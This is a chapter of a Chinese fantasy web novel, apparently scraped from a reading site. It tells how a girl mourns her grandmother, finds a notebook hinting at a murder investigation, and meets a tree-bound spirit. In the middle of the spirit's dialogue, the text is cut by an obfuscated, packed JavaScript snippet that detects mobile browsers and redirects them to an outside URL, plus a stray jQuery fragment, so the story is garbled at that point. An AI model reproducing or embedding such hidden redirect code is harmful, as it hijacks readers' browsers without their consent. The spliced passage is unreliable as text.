万书库 > 玄幻小说 > 告庙书·折骨为医 > 3. 序三 花落了
    开花奶奶走的那年秋天,江晚桐十一岁。


    那年槐花开得有些反常,春末开过一次,到了九月又零零星星冒出些花苞来,没几日便又落了。


    开花奶奶坐在院子里,低头望着散落一地的花瓣,说老槐树通人性,来送她了。


    晚桐听着,立时就红了眼圈搂着开花奶奶说别走,阿檀做的饭隔壁大黄都不吃的,奶奶走了我要饿肚子了。


    开花奶奶伸出手轻轻摸了摸她的头发,没说话,那手瘦得没丁点儿肉,手背上的皮肤薄得能瞧见青色的血管。


    “晚桐,这世上有些事值得我们用一辈子去等。”


    “能不能等到是一回事,但是不等,就永远等不到了。”


    “等了,便不算白等,这个过程本身就是答案了。”


    江晚桐似懂非懂,奶奶靠在她肩上。


    她原先都不知道奶奶这么瘦这么轻,好像一阵风就能把她带走。


    奶奶平静地望着村口,望着村口的那条弯弯曲曲的道路,望着那山的尽头,说着一件再寻常不过的事。


    开花奶奶病了有段时日了,但也病的突然。


    春天还能下地干活,过了夏天便开始咳血。


    阿檀去请了镇上的郎中开了药,一天三顿当饭吃却总不见好。


    郎中说老太太身子亏空,只能好好休息慢慢将养。


    加上开花奶奶自己本就精通医术,晚桐跟着学都学了十成有八。


    但医者不自医,开花奶奶自己不瞧,也不让晚桐给她瞧,总说年纪大了,休息休息便好。


    精神好一点,便把晚桐和阿檀叫到跟前,讲她年轻时走过的地方,讲南边有一座白墙的城,讲西边有一座红色的山,讲东边有一片发光的海,讲北边她没去过燕朔,那是我们的敌国。


    “奶奶,你去过那么多地方,为什么后来留在这里了?”


    “因为这棵槐树在这里,我得守着它,等一个结果。”


    等什么结果,开花奶奶没有说。


    开花奶奶在一个起风的傍晚走了。


    她原本一直睡在床上,忽然像来了精神睁开眼睛,阿檀扶她坐起来,晚桐喂她喝了小半碗粥,她还跟晚桐和阿檀讲了几句话。


    末了,她说:“阿檀,你去把窗户打开透透气。”


    阿檀去开了窗,风吹进来,开花奶奶闭上眼睛轻轻地闻了闻,便再也没睁开。


    “晚桐,奶奶的花落了。”


    晚桐跪在床前,她不知道该做什么,也哭不出来,就静静看着奶奶的手垂落在床沿。


    然后她发现奶奶好像在指着哪里。


    她顺着那手指的方向看过去,是院外村口的老槐树。


    直到阿檀转过身来发现奶奶走了放声大哭起来,晚桐才像被解了穴一样抽泣起来。


    隔壁石头娘听见动静,放下手中的活计就跑过来。


    刚走到屋门口,就看见半躺着一动不动的开花奶奶。


    又瞧见晚桐她们两个小丫头在旁哭得上气不接下气。


    登时明白过来,忙唤石头去村里喊人帮忙。


    入殓那天,晚桐让阿檀去帮忙,自己走进奶奶的房间。


    屋子里还是奶奶活着时的样子。


    桌台上还搁着那个药碗,药渣还沉在碗底。


    她把奶奶的床铺铺好抚平,瞧见枕头底下露出一角泛黄的纸页。


    她取出来发现是一本起了毛边的册子。


    这本册子她认得,奶奶从前经常在上面写东西,她还说奶奶是在背着她写小秘密。


    奶奶也只是笑笑说记些要紧的事,年纪大了怕忘了。


    许是翻多了,她一翻开就是一张涂了墨点的一页。


    那明显是涂黑了几个字,滴落的墨迹应是炸开的,这几个墨点边缘光滑,底下还漏了几笔出来。


    她将纸页对着窗外的光,隐约能看见点“怀”字的轮廓。


    其他地方被涂得太黑,完全看不清是什么。


    她紧张地朝周围扫了一圈,迅速把册子塞进怀里,关上门出去了。


    下葬那天风很大,黑色的云压得很低,天像是要整个盖下来。


    村里男女老少只要走得动道的都来了,穿着黑的白的素色衣服,整整齐齐站了几排。


    江晚桐在最前面,跪在坟前规规矩矩磕了三个头。


    这几日晚桐也不知是怎么过的,直到额头触碰到地面的冰凉,她才如梦初醒。


    忽然想起,开花奶奶走的前一天,同她讲的话。


    那天夜里阿檀睡着了,屋里只有她一个人。


    她悄悄从被窝里爬起来,摸到奶奶床边,奶奶还没睡,斜靠在床头,不知道在想什么。


    开花奶奶看见晚桐进来,拍拍身边让晚桐坐过来。


    晚桐缩在奶奶怀里,她听到奶奶的声音又干又哑:


    “他们杀我,说明查对了。”


    “奶奶,是谁?”


    “晚桐,你什么都别查,平安活着……”


    现在开花奶奶走了,晚桐不知道奶奶在查什么。


    趁着阿檀睡熟,她打开门走到老槐树下。


    月亮被云遮去大半,老槐树就静静地伫立在黑暗中。


    她把耳朵贴在树干上,粗糙的树皮硌着脸疼。


    但除了风声,她没听到其他任何声音。


    奶奶,你到底在查什么?


    是你一直在等的那个人吗?


    她摸了摸老槐树粗糙的树干,指尖忽然一阵剧痛,不知被树皮还是什么划了一道口子。


    血迅速渗进树皮的纹路,眨眼间便消失了,然后脚下的地面微微震了震。


    她看见从老槐树的阴影里凝出一道极淡的人影。


    那是一个年轻男人的轮廓,白衣翩翩,面容清瘦,眉眼间带着一种与世隔绝的疏离,他同一团雾气般站在距她三步之外的地方,好像随时都会被风吹散似的。


    “阿予,我奶奶她走了,再也不会回来了。”


    “嗯。”


    “她说她查对了,你知道她在查什么?”


    白若予扫了她一眼,那一眼同照在石头上的月光一般,没有任何感情。


    “不知。”


    “阿予……开花奶奶在等人,你也在等,你们等的是同一人么?”


    “不,我等阿渊,回来。”


    他的声音里有极细微的情绪波动,像冰面下裂开一道缝。


    “阿渊,是谁?”


    他不说话了,那道白色的影子也一点点淡去。


    直到完全消失,晚桐才又听到白若予说:


    “阿渊……你不是他,但你流的血和他一样。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533595|203756||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    她没听懂,之前也没听说过阿渊。


    能让白若予等了这么久的,总该不是什么凡人罢,这不是她能操心的事。


    她转身回去,瞧见阿檀披着衣裳站在村口的路边,远远望着她。


    也不知道阿檀是何时醒的,又站在那里望了多久。


    看见她回身,阿檀走过来,把披风搭在她肩上,什么也没问。


    回去以后,她没点灯,就着月光把册子又翻了一遍。


    前面记着草药方子和星图观测之类,有些字迹歪歪扭扭,估摸是奶奶在外一时没找到桌子,用手托着写的。


    其中有一页夹着一片干枯的海棠花瓣。


    花瓣底下是一行极小的字,不是奶奶的笔迹,字迹清隽。


    “邹牧尘,燕朔口音,左手有疤。”


    第二日清晨,宋芸华到了。


    她收到信便从岚城连夜赶来,一路风尘仆仆。


    眼睛红肿,跪在开花奶奶的坟前磕了三个头。


    “你父亲不久前调任岚城,我给开花奶奶来了信,她回信只说身子不好了,让我来接你。”


    “我接到信紧赶慢赶,还是没见到最后一面。”


    “现下宅子已经安置好了,我来接你回家。”


    “晚桐,你可怪我?”


    江晚桐抬起头:“好,阿檀同我一起。”


    母亲看了一眼站在门边的阿檀,点头道:“自是要一同回家的。”


    阿檀随母亲进屋收拾行装,晚桐独自又去到老槐树下。


    晨雾还没散,老槐树的枝叶在雾中影影绰绰。


    她把那本册子放进开花奶奶留下的一个木盒里,置于老槐树下面。


    “阿予,麻烦您帮我守着,我日后会来取。”


    “好。”


    “但你臂上的疤,会疼。”


    她一愣,低头看向自己的手臂,那道旧疤安安静静,没有任何异样。


    她转身走出十步远,抬手摸了摸那道疤,指尖触上去的时候,一种钝钝的痛忽然从皮肤底下泛上来。


    确实有些疼,她回头望向那棵老槐树。


    晨雾里一道白色的影子立在树下,正望着她。


    隔着雾她看不清他的表情,只觉得那道目光极淡极静,像没有融化的冰。


    思君如百草,零落待春风。


    奶奶等了一辈子,不知等到她要的结果没有。


    马车驶出村口时,江晚桐掀开车帘,最后看了一眼那棵立在晨光里的老槐树。


    它纹丝不动,像一个沉默的送行者。


    马车颠了一下,手臂上的疤忽然又不疼了。


    她摸了摸自己的疤,感觉到底下有极细微的搏动,像什么东西正在皮肉之下开始苏醒。


    她不知道那是什么。


    但她知道,开花奶奶用命换来的秘密就藏在那本册子里,她还不敢带走。


    她掀开车帘,要离开茫崖村,离开中州,去往岚城,去到那座南方的城。


    父亲在那里,在那里等她回家。


    阿檀坐在她对面,一路无话,瞧瞧窗外又瞧瞧她。


    小姐,不管你去哪里,我都在。


    马车驶上官道,扬起的尘土遮住了来路。


    老槐树在身后越来越远,终于消失在地平线之下。